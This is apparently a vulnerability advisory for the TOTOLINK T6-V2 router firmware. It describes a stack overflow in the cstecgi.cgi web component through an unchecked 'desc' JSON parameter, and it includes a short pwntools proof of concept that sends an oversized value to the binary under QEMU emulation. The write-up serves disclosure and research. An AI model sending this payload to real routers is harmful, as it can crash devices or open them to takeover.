Overview

• The device's official website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=products&id=16&ids=33
• Firmware download website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=16&ids=36

Affected version

T6-V2 V4.1.9cu.5179_B20201015

Vulnerability details

The vulnerability exists in the router's WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_004137a4 (at address 0x4137a4) gets the JSON parameter desc, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

PoC

from pwn import *
import json

data = {
    "topicurl": "setting/setWiFiAclRules",
    "addEffect": "1",
    "mac": "12:34:56:78",
    "desc": 'A'*0x500,
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mipsel-static",
    "-g", "1234",
    "-L", "./root/",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]

a = process(argv=argv)
a.sendline(data.encode())

a.interactive()